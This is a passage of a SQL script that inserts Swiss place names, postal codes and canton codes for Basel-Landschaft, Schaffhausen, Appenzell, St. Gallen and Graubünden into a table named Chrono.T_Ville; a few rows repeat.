Chrono.T_Ville VALUES ("CHE","Arboldswil",4424,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bennwil",4431,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bretzwil",4207,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diegten",4457,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eptingen",4458,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hölstein",4434,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lampenberg",4432,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Langenbruck",4438,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lauwil",4426,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Liedertswil",4436,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederdorf",4435,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberdorf BL",4436,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reigoldswil",4418,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Titterten",4425,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waldenburg",4437,"BL"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gächlingen",8214,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Löhningen",8224,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neunkirch",8213,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büttenhardt",8236,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dörflingen",8239,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lohn SH",8235,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stetten SH",8234,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Opfertshofen SH",8236,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thayngen",8240,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Barzheim",8241,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bibern SH",8242,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hofen SH",8242,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altdorf SH",8243,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bargen SH",8233,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beringen",8222,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Guntmadingen",8223,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchberg",8454,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Merishausen",8232,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuhausen am Rheinfall",8212,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüdlingen",8455,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaffhausen",8200,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaffhausen",8203,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaffhausen",8207,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schaffhausen",8208,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hemmental",8231,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Beggingen",8228,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schleitheim",8226,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Siblingen",8225,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buch SH",8263,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hemishofen",8261,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ramsen",8262,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stein am Rhein",8260,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hallau",8215,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhallau",8216,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trasadingen",8219,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wilchingen",8217,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Osterfingen",8218,"SH"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Herisau",9100,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schachen b. Herisau",9112,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hundwil",9064,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schönengrund",9105,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwellbrunn",9103,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stein AR",9063,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Urnäsch",9107,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waldstatt",9104,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bühler",9055,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gais",9056,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Speicherschwendi",9037,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Speicher",9042,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederteufen",9052,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Teufen AR",9053,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lustmühle",9062,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trogen",9043,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grub AR",9035,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heiden",9410,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wienacht-Tobel",9405,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lutzenberg",9426,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rehetobel",9038,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reute AR",9411,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schachen b. Reute",9411,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wald AR",9044,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walzenhausen",9428,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfhalden",9427,"AR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell Meistersrüte",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gonten",9108,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gontenbad",9108,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jakobsbad",9108,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell Eggerstanden",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell Steinegg",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weissbad",9057,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brülisau",9058,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell Enggenhütten",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Appenzell Schlatt",9050,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haslen AI",9054,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwende",9057,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wasserauen",9057,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberegg",9413,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberegg",9413,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Büriswilen",9442,"AI"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lömmenschwil",9308,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Häggenschwil",9312,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Muolen",9313,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9000,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9008,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9010,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9011,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9012,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9014,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9015,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallen",9016,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wittenbach",9300,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berg SG",9305,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eggersriet",9034,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grub SG",9036,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goldach",9403,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mörschwil",9402,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rorschach",9400,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rorschacherberg",9404,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Steinach",9323,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tübach",9327,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Untereggen",9033,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Au SG",9434,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heerbrugg",9435,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Balgach",9436,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Reute AR",9411,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berneck",9442,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Diepoldsau",9444,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rheineck",9424,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Margrethen SG",9430,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Staad SG",9422,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altenrhein",9423,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Thal",9425,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Widnau",9443,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Altstätten SG",9450,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lüchingen",9450,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hinterforst",9452,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lienz",9464,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eichberg",9453,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marbach SG",9437,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kriessern",9451,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montlingen",9462,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Montlingen",9462,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberriet SG",9463,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rebstein",9445,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüthi (Rheintal)",9464,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Buchs SG",9470,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gams",9473,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Werdenberg",9470,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grabs",9472,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Grabserberg",9472,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salez",9465,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sennwald",9466,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Frümsen",9467,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sax",9468,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Haag (Rheintal)",9469,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sevelen",9475,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weite",9476,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Fontnas",9476,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Trübbach",9477,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Azmoos",9478,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberschan",9479,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Malans SG",9479,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gretschins",9479,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bad Ragaz",7310,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flums",8890,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flums Hochwiese",8893,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumserberg Saxli",8894,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumserberg Portels",8895,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumserberg Bergheim",8896,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumserberg Tannenheim",8897,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flumserberg Tannenbodenalp",8898,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwendi im Weisstannental",7325,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weisstannen",7326,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mädris-Vermol",8886,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mels",8887,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Heiligkreuz (Mels)",8888,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Plons",8889,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Pfäfers",7312,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Margrethenberg",7313,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vadura",7314,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vättis",7315,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valens",7317,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vasön",7317,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Murg",8877,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Quinten",8878,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterterzen",8882,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Quarten",8883,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberterzen",8884,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mols",8885,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sargans",7320,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wangs",7323,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vilters",7324,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walenstadt",8880,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walenstadtberg",8881,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tscherlach",8881,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Berschis",8892,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Amden",8873,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Benken SG",8717,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kaltbrunn",8722,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schänis",8718,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rufi",8723,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Maseltrangen",8723,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ziegelbrücke",8866,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Weesen",8872,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmerikon",8716,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uznach",8730,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rapperswil SG",8640,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jona",8645,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wagen",8646,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bollingen",8715,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ernetschwil",8725,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gebertingen",8725,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ricken SG",8726,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gommiswald",8737,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uetliburg SG",8738,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rieden SG",8739,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Goldingen",8638,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Walde SG",8727,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neuhaus SG",8732,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Eschenbach SG",8733,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ermenswil",8734,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Gallenkappel",8735,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rüeterswil",8735,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebnat-Kappel",9642,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alt St. Johann",9656,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterwasser",9657,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wildhaus",9658,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Krummenau",9643,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nesslau",9650,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ennetbühl",9651,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Neu St. Johann",9652,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stein SG",9655,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hemberg",9633,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bächli (Hemberg)",9633,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lichtensteig",9620,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Necker",9126,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberhelfenschwil",9621,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Hoffeld",9114,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dicken",9115,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mogelsberg",9122,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ebersol",9122,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Nassen",9123,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brunnadern",9125,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Peterzell",9127,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Krinau",9622,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wattwil",9630,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ulisbach",9631,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wil SG",9500,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Kirchberg SG",9533,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dietschwil",9533,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gähwil",9534,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bazenheid",9602,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Müselbach",9602,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lütisburg Station",9601,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lütisburg",9604,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Unterrindal",9604,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mosnang",9607,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dreien",9612,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mühlrüti",9613,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Libingen",9614,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bütschwil",9606,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ganterschwil",9608,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Dietfurt",9615,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Degersheim",9113,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wolfertswil",9116,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Flawil",9230,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Egg (Flawil)",9231,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Jonschwil",9243,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rickenbach b. Wil",9532,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schwarzenbach SG",9536,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberrindal",9604,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederglatt SG",9240,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberuzwil",9242,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bichwil",9248,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uzwil",9240,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederuzwil",9244,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Henau",9247,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Algetshausen",9249,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederstetten",9249,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberstetten",9249,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederbüren",9246,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lenggenwil",9525,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuckenriet",9526,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederhelfenschwil",9527,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Niederwil SG",9203,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Oberbüren",9245,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sonnental",9245,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Züberwangen",9523,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Zuzwil SG",9524,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Wil SG",9500,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rossrüti",9512,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bronschhofen",9552,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andwil SG",9204,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Abtwil SG",9030,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Josefen",9030,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Engelburg",9032,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Gossau SG",9200,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Arnegg",9212,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waldkirch",9205,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bernhardzell",9304,"SG"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mutten",7431,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Obermutten",7431,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Valbella",7077,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lenzerheide/Lai",7078,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vaz/Obervaz",7082,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tiefencastel",7450,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Lantsch/Lenz",7083,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schmitten (Albula)",7493,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bergün/Bravuogn",7482,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Preda",7482,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stugl/Stuls",7482,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Latsch",7484,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Filisur",7477,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brienz/Brinzauls GR",7084,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tiefencastel",7450,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alvaschein",7451,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mon",7458,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Stierva",7459,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Surava",7472,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alvaneu Bad",7473,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alvaneu Dorf",7492,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Cunter",7452,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tinizong",7453,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Rona",7454,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Mulegns",7455,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sur",7456,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Marmorera",7456,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Bivio",7457,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Savognin",7460,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Salouf",7462,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riom",7463,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Riom",7463,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Parsonz",7464,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Brusio",7743,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campocologno",7744,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Viano",7747,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Campascio",7748,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Ospizio Bernina",7710,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Alp Grüm",7710,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","S. Carlo (Poschiavo)",7741,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Poschiavo",7742,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sfazù",7742,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","La Rösa",7742,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Miralago",7743,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Li Curt",7745,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Le Prese",7746,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Falera",7153,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laax GR",7031,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Laax GR 2",7032,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Sagogn",7152,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Schluein",7151,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","St. Martin (Lugnez)",7116,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Vals",7132,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Andiast",7159,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Waltensburg/Vuorz",7158,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Peiden",7110,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Camuns",7113,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Uors (Lumnezia)",7114,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Surcasti",7115,"GR"); INSERT INTO Chrono.T_Ville VALUES ("CHE","Tersnaus",7116,"GR"); INSERT INTO Chrono.T_Ville VALUES 